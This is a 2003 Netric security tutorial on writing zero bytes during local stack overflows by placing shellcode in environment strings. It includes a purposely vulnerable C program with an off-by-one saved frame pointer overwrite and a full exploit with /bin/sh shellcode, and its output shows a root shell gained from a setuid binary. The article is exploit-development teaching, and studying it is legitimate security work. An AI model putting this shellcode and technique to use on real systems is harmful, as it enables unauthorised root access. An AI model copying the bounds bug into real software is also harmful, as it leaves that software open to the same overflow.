April, 2003

Netric Security Team
Framepointer floepers

By gloomy & The Itch

-- "**Radical Environmentalists Part II: the 0-byte technique**"

Preface

This is part II of a couple of articles regarding a few stack tips and tricks. This part will cover the \0 byte write technique utilizing local overflows. Part I discussed the exact shellcode location determination technique. I'll assume you've read this first installment. This article also requires a bit of knowledge of the linux stack and some x86 assembly and, of course, some familiarity with ansi-C.

I tried to make things more clear by using snapshots and ascii arts. Hope you will understand what I'm talking about. If you have any questions about this text feel free to contact me. Check the author section below for contact information.

Introduction

Some day a while back now, I was playing with some local stack overflows on a sparc station running solaris 8 with non-executable stack. I didn't want to use the return-into-libc technique, so I decided to put my friendly shellcode on the heap. Then the problem occured, the heap on a solaris system is located somewhere in memory at a virtual address containing a \x00 byte. Because my fake vulnerability was exploitable by abusing the strcpy() parameters, I could not write 0 bytes. I started thinking about a solution and found one.

This small article will describe a technique to write 0 bytes when exploiting a local buffer overflow by using the environment. This technique is useful for solaris-esque systems but could also be handy for other unix based operating systems. The following code was prepared on a linux box running debian.

I wish you an enjoyable and educational journey through the magic and the deep darkness of the local environment. Be careful, it's a jungle out there!

Technique

I’ll explain this technique by exploiting a simple saved frame pointer overwrite bug on a debian linux system. This is a proof of concept and kind of stupid, because you don’t really need this technique. Still it could get interesting if for some reason you have to write 0 bytes in your shellcode or new return address.

After having read part I of Radical environmentalists, you already know that the environment is located almost on the top of the stack. But what does this environment look like? Let’s take a closer look at it.

```
int execve (const char *filename, char *const argv [], char *const envp[]);
```

We already know from part I that the execve() system call needs 3 arguments. The last argument ‘envp’ is an array that contains char pointers.

Let’s check out the structure of an array. If you already know enough about arrays and pointer then you can skip this part. I’m going to illustrate this structure with a little test program.

---*test.c*---

```
 1 #include <stdio.h>
 2
 3 int main() {
 4         unsigned int counter = 0;
 5         char *a[] = {"AAAA","BBBB","CCCC",NULL};
 6         do {
 7                 printf("<0x%08x> a[%d] (0x%08x) = %s\n",
 8                  (unsigned int)&a[counter],counter,(unsigned int)a[counter],a[counter]);
 9         } while (a[counter++] != NULL);
10         return 0;
11 }
```

---*test.c*---

This little test program will print out all the addresses of the char pointer array ‘a’, it’s content and the addresses where the pointers are located on the stack. The array is initialized with 3 small strings and a NULL pointer (line 5). The while loop will continue until the NULL pointer has been printed (line 9). Let’s check the output of this program.

```
gloomy@main$ ./test
<0xbffffb48> a[0] (0x080484f4) = AAAA
<0xbffffb4c> a[1] (0x080484f9) = BBBB
<0xbffffb50> a[2] (0x080484fe) = CCCC
<0xbffffb54> a[3] (0x00000000) = (null)
gloomy@main$
```

As we can see here the pointers, which size is 4 bytes each, are all located on the stack growing down. An array always stops when the holding data type bits are all zero. In this case we have an array that holds char pointers. The array ends when all the bits are zero, which will be 32 bits (8 bits/byte * 4 bytes). For example a char array will also end when an element is totally zero. This would be 8 bits, because the data type of one element is a char which is 1 byte (8 bits). A pointer to a data type will be used very often as an array with the same data type. For example a char pointer could be interpreted as a char array. So it always ends with a 0 byte. Let’s make some nice ascii arts.

```
---
         __[ADDR]___________[VALUE]_________   \----- higher addresses
        | 0xbffffb54   |    a[3]    NULL     |
        | 0xbffffb50   |    a[2]  &‘CCCC’    |
        | 0xbffffb4c   |    a[1]  &‘BBBB’    |
        | 0xbffffb48   |    a[0]  &‘AAAA’    |
        | ------------ | --------------------|
        | 0x080484ff   |    a[2][5] \x00     |
        | 0x080484fe   |    a[2][0] ‘CCCC’   |
        | 0x080484fd   |    a[1][5] \x00     |
        | 0x080484f9   |    a[1][0] ‘BBBB’   |
        | 0x080484f8   |    a[0][5] \x00     |
        | 0x080484f4   |    a[0][0] ‘AAAA’   |
        |______________|____________________ |  /---- lower addresses
---
```

As we can see here the ‘a’ array has got 2 different arrays inside it. The first array contains char pointers and the second one chars. So the real data is located in the text segment (0x080484xx) and the pointers to it on the stack (0xbffffbxx). If we just print out the text which is located in the text segment, we’ll get something like:

    AAAA\x00BBBB\x00CCCC\x00

Notice the fact every string ends with a \0 byte because it’s an array. Ok, now you know how the 2D array principle works. Time to look to our 2D environment array.

---env.c---
```
 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 #include <ctype.h>
 4
 5 int main(int c,char *v[], char *e[]) {
 6         int counter,max = 10;
 7
 8         if (c > 1) max = atoi(v[1]);
 9         if (!max) exit(0);
10         for (counter = 0; counter < max; counter++)
11                 printf((e[0][counter]>0x1f)?"%c":"\\x%02x",e[0][counter]);
12         printf("\n");
13         return 0;
14 }
```
---env.c---

The main function will be called with 3 arguments (line 5). I hope the first and second argument look familiar. The last one will represent the 2D environment array. It contains pointers to strings, which are again pointers to chars. The program runs into this for loop, which will loop until ‘max’ is reached (line 10). Then it will check if the current processed char in our environment is printable (quick and dirty check) and dumps it to our stdout (line 11). I know you could make this program throw a segmentation fault when giving it a large value of max, but that doesn't matter for now. The moral of this program is to show you the real value of the environment solely consists of chars. Every environment string will be ended with a 0 byte. Let's check it out by running the program:

```
gloomy@main$ ./env 50
PWD=/tmp\x00PS1=\u@\h:\w\$ \x00USER=gloomy\x00LS_COLORS=no=
```

It just prints out the chars located in the start of the environment data. As we can see all the strings end with a 0 byte, after that a new environment string starts. The pointers of those strings are defined in an array located a little bit lower on the stack.

To use 0 bytes in your shellcode which is located in the environment, you could simply end the current environment string with a \0 byte and create the next string. This could also be done with addresses. We could just point the frame pointer (ebp) to somewhere in the environment and create a fake stack frame with lots of 0 bytes :).

I'll demostrate this by creating another program that executes ./env.

---*env-test.c*---

```
1 #include <stdio.h>
2 #include <unistd.h>
3
4 int main() {
5         char *prog[] = {"./env","20",NULL};
6         char *envp[] = {"AAAA","BBBB","","","","","CCCC",NULL};
7         execve(prog[0],prog,envp);
8         return 0;
9 }
```

---*env-test.c*---

We're creating a 2D array that contains the argv of ./env (line 5). Another array will be used to create a new environment for this program. This array contains 7 strings with different lengths (line 6). Then of course we'll run the program (line 7).

```
gloomy@main$ ./env-test
AAAA\x00BBBB\x00\x00\x00\x00\x00CCCC\x00.
gloomy@main$
```

If we create a string without content (“”), it will still be recognized as a normal string and will end with a 0 byte. So the total size of our real environment data would be strlen(“AAAA”) + sizeof(nullbyte) + strlen(“BBBB”) + sizeof(nullbyte) + (sizeof(nullbyte)*4) + strlen(“CCCC”) + sizeof(nullbyte) = 4+1+4+1+4+4+1 = 19 bytes.

Ok, now it's time to get back to reality and see how to use this in real life.

Vulnerability

------------------

Let’s start with a simple proof of concept vulnerability to show my technique.

---*vuln.c*---

```
 1 #include <stdio.h>
 2 #include <stdlib.h>
 3
 4 #define NR_OF_DATA              4
 5
 6 struct __data {
 7         unsigned long id;
 8 };
 9
10 void getdata(nr,str)
11         int nr;
12         char *str[];
13 {
14         struct __data data[NR_OF_DATA];
15         int counter;
16
17         for (counter = 0; counter <= NR_OF_DATA && nr > counter+1; counter++)
18             data[counter].id = strtoul(str[counter+1],&str[counter+1],16);
19 }
20
21 int main(c,v)
22         int c;
23         char *v[];
24 {
25         getdata(c,v);
26         printf("Exiting..\n\n");
27         return (0);
28 }
```

---*vuln.c*---

This little code will call the vulnerable function getdata() (line 10) using the arguments that are given to the main function (line 25). Getdata() will create some local buffers which contains unsigned long id’s. (line 6,7,8). The amount of buffers (line 14) will be set to NR_OF_DATA which is 4 in our example (line 4). Then it will get into this for loop which contains the security flaw.

```
17         for (counter = 0; counter <= NR_OF_DATA && nr > counter+1; counter++)
```

First it will check if the counter is smaller or equal to 4. Another check will determine if counter + 1 will be higher then the first argument of the current function. If it’s all correct the loop continues.

The data content will be set to a char pointer inside the given 2D array, which is in our case our argv pointer of main (line 18). This will continue until the checks of line 17 will fail. If we look to the value of the counter integer, we see the fact counter is initialized with 0 but can get up to NR_OF_DATA, which is still 4. Data[4] will not fit in the registered size at line 14 and will overwrite the saved frame pointer. This is how we exploit this vulnerability.

When the copying is done, the function will return. If we managed to overwrite the saved frame pointer, main would return to the address located at our fake frame pointer + 4. This could be pointed to our friendly shellcode.

So, ok, it's just a simple saved frame pointer overflow bug. We could just exploit this the simple way by pointing the new frame pointer to inside a buffer we just wrote in and then create a new return address which is pointing to a shellcode somewhere located in the environment. But what if we are too lazy to write a shellcode without 0 bytes? Or when we want to return to an address containing a 0 byte?

Let us first test the vulnerability before we get into exploiting it.

```
 1 gloomy@main$ ./vuln 0xdeadac1d 0xdeadac1d 0xdeadac1d 0xdeadac1d 0xdeadac1d
 2 Exiting..
 3
 4 Segmentation fault (core dumped)
 5 gloomy@main:~/security/doc$ gdb ./vuln core
 6 Core was generated by `./vuln 0xdeadac1d 0xdeadac1d 0xdeadac1d 0xdeadac1d 0xdeadac1d'.
 7 Program terminated with signal 11, Segmentation fault.
 8 #0  0x080484d5 in main ()
 9 (gdb) x/i $pc
10 0x80484d5 <main+45>:    leave
11 (gdb) i reg fp
12 ebp            0xdeadac1d       0xdeadac1d
13 (gdb)
```

We will run ./vuln with 5 fake long addresses as arguments and see what will happen (line 1). A core dump got thrown in our face. Let's check out the core file using our master 'gdb'. It crashed on an instruction within the main function, which is the 'leave' instruction. This assembly instruction will read the stack frame of the current function and will set the efp and esp registers to the correct value. Because we just overwrote the saved frame pointer to an incorrect address, the new ebp register will be set incorrectly when returning from getdata(). The leave instruction in main (line 10) will retrieve the new efp out of our current efp (which is 0xdeadac1d). This is impossible so the program will throw a segmentation fault.

Exploit

What if we are this lazy and lame that we couldn't write 0-byteless shellcodes? What if we are exploiting this bug on a solaris system with non-executable stack? Well, I will demonstrate the technique by writing an exploit that contains a crappy shellcode. The following code will successfully overflow the saved frame pointer and will be pointed to our fake return address – 4 which is located in the environment.

---*exploit.c*---

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NULL_BYTES          64

unsigned char shellcode[] =
        "\x68/sh\0"             /* pushl "/sh\0" */
        "\x68/bin"              /* pushl "/bin" */
        "\x89\xe3"              /* movl %esp,%ebx */
        "\x6a\x00"              /* pushl $0x0 */
        "\x53"                  /* pushl %ebx */
        "\x89\xe1"              /* movl %esp,%ecx */
        "\xba\x00\x00\x00\x00"  /* movl $0x0,%edx */
        "\xb8\x0b\x00\x00\x00"  /* movl $0xb,%eax */
        "\xcd\x80"              /* int $0x80 */
        "\xb8\x01\x00\x00\x00"  /* movl $0x1,%eax */
        "\xbb\x00\x00\x00\x00"  /* movl $0x0,%ebx */
        "\xcd\x80";             /* int $0x80 */

ssize_t char_ptr_to_array(array,data,size)
        char **array;
        char *data;
        ssize_t size;
{
        int array_counter = 0;
        int size_counter = 0;
        char *data_ptr = data;

        for (array_counter = 0; size_counter < size; array_counter++) {
                array[array_counter] = (char *)malloc(strlen(data_ptr)+1);
                strcpy(array[array_counter],data_ptr);
                size_counter += strlen(data_ptr)+1;
                data_ptr += strlen(data_ptr)+1;
        }
        return(array_counter);
}

```

```
40 int main(c,v)
41         int c;
42         char *v[];
43 {
44         unsigned char *dummy    = "0xDEADG0D"; /* :) */
45         unsigned int ret;
46         unsigned int new_ebp;
47         ssize_t env_size;
48         char new_ebp_str[16];
49         char *env[MAX_NULL_BYTES+1];
50         char *vuln[] = {"./vuln",dummy,dummy,dummy,dummy,new_ebp_str,NULL};
51
52         new_ebp = 0xc0000000-4-(strlen(vuln[0])+1)-1-8;
53         ret = new_ebp+4-sizeof(shellcode);
54
55         env_size = char_ptr_to_array(env,shellcode,sizeof(shellcode));
56         env[env_size] = (char *)malloc(4);
57         memcpy(env[env_size],(char *)&ret,4);
58         env[env_size+1] = NULL;
59
60         snprintf(new_ebp_str,sizeof(new_ebp_str),"0x%08x",new_ebp);
61
62         fprintf(stderr, "Using EBP: 0x%08x\n"
63                         "Using RET: 0x%08x\n\n",
64                         new_ebp,ret);
65         execve(vuln[0],vuln,env);
66         return(0);
67 }
```

---*exploit.c*---

If you scan the exploit code, you will notice that I created two functions and a shellcode. Let’s just read through the shellcode. As you can see it’s just a normal execve and exit code, but this time with 0-bytes. First the string /bin/sh will be pushed onto our stack (line 9, 10). Then it’s time for the argv 2D array (line 12, 13). The ridiculous movl instructions, which have a size of 5 bytes, are only for proof of concept, so we’ll have a bigger amount of 0 bytes in our shellcode.

When we read a little further, we see this function called char_ptr_to_array(). This is the most important function in our code as it describes the technique. We need some more lines for this one :)

```
22 ssize_t char_ptr_to_array(array,data,size)
23         char **array;
24         char *data;
25         ssize_t size;
26 {
27         int array_counter = 0;
28         int size_counter = 0;
29         char *data_ptr = data;
30
31         for (array_counter = 0; size_counter < size; array_counter++) {
32                 array[array_counter] = (char *)malloc(strlen(data_ptr)+1);
33                 strcpy(array[array_counter],data_ptr);
34                 size_counter += strlen(data_ptr)+1;
35                 data_ptr += strlen(data_ptr)+1;
36         }
37         return(array_counter);
38 }
```

This function will be called using three arguments. The first one, called ‘array’, is a pointer to a char pointer and can be represented as a 2D array (line 23). The second one, called ‘data’, is just a char pointer that can be represented as a string (line 24). The last one, called ‘size’, is a ssize_t, which is an unsigned integer (line 25).

There are also three local variables. Array_counter, which is a signed integer, will be set to 0 (line 27). The size_counter variable, which is also a signed integer, will also be reset to zero (line 28). Then we have this little char pointer, that points to our argument ‘data’, called data_ptr (line 29).

Ok, now let’s check out the real code of this function. The for loop is the first instruction that will be executed (line 31). Array_counter is redefined to 0 again and will increase every time it loops. This will go on until the size_counter variable is higher or equal to size. Into the loop we will find this malloc() call to register some space on the heap. This will be set to the ‘array’ variable (line 32). Then it’s time to copy our data into this 2D array (line 33). The size_counter will be increased by the string length of the data, which is the amount of chars until the 0 byte, plus 1 (the 0 byte itself) (line 34). Also the pointer to our data will increased by the same value (line 35). This will continue until the for checks fail. Then the amount of 0-bytes in the data will be returned.

What this function mainly does, is convert an amount of chars to an array by splitting up the chars with a 0 byte into elements. So let’s say you pass this function a shellcode that contains some 0-bytes and it will return a 2D array which is exactly the same like the input when reading it for memory. We will use this function to create a nice environment shellcode.

Then we have this function called main. This function will be called when the exploit starts. Let us first check out the local variables.

```
44          unsigned char *dummy    = "0xDEADG0D"; /* :) */
45          unsigned int ret;
46          unsigned int new_ebp;
47          ssize_t env_size;
48          char new_ebp_str[16];
49          char *env[MAX_NULL_BYTES+1];
50          char *vuln[] = {"./vuln",dummy,dummy,dummy,dummy,new_ebp_str,NULL};
```

Dummy is just a dummy string that will be passed to our vulnerability as argument 1 to 4. This can be anything, so I gave it a nice *not-possible* hexadecimal integer value which has been written as a string (line 44). Then it registers two integers on the stack, ret and new_ebp (line 45, 46). The name says enough I guess. Env_size is just another size counter that we use in this function (line 47). Then we create this char array that can contain 16 chars (line 48). We need a 2D array for our new environment (line 49). The size of this buffer will be set to MAX_NULL_BYTES + 1, which is a define variable with the value 64 (line 6). The ‘+ 1’ part will take care of the NULL pointer we need to end up this array. Then our last variable is another 2D array that will be used for execve’s second argument, the argv array (line 50). It’s been set statically to some given values.

When we walk through the instruction in this main function, the first thing we see is this weird calculation we’ve learned in part I (line 52). We determine exactly where our new return address pointer will be in the new environment. From thereon we can determine the address of our shellcode containing 0-bytes (line 53). It will call our 0-byte shellcode creator function char_ptr_to_array (line 55). Then adding the new return address to our environment (line 56,57,58).

Finally the vulnerable program execute with our new environment and arguments. This will successful exploit the given vulnerability.

A quick look to the output of this code. I changed the permissions of the vulnerable binary to 4755, which means the SUID-bit is enabled. In this example the owner of this binary is root. (Won't be in real life though =))

```
gloomy@main$ ./exploit
Using EBP: 0xbfffffec
Using RET: 0xbfffffc6

Exiting..

sh-2.05a# id
uid=10(gloomy) gid=100(users) euid=0(root)
sh-2.05a#
```

As we can see, our EBP and RET are close to eachother and almost on the top of the stack. It will probably also execute the program, because the output is 'Exiting..' and of course we managed to exploit the vulnerability and gained root privelidges.

Conclusion

After reading this article you should be able to exploit a local security bug using a shellcode with 0-bytes. This could be usefull for many architectures. You're also able to exploit a local security bug on a solaris system when you're able to drop your shellcode on the heap. I hope you learned something out of this and gave you some new thoughts and ideas to complete your journey =).

Author

This is part II of the series 'Radical environmentalists'. All the articles will describe tiny environment tips, tricks and techniques. All the parts are written by The_Itch and gloomy, who are members of the Dutch security group Netric. (http://www.netric.org) You can contact us by using our own irc server (irc.netric.org:6667) or by emailing us.

- gloomy [gloomy@netric.org]
- The_Itch [itchie@netric.org]

Many thanks go out to powerpork for translating this article to a little bit more understandable english.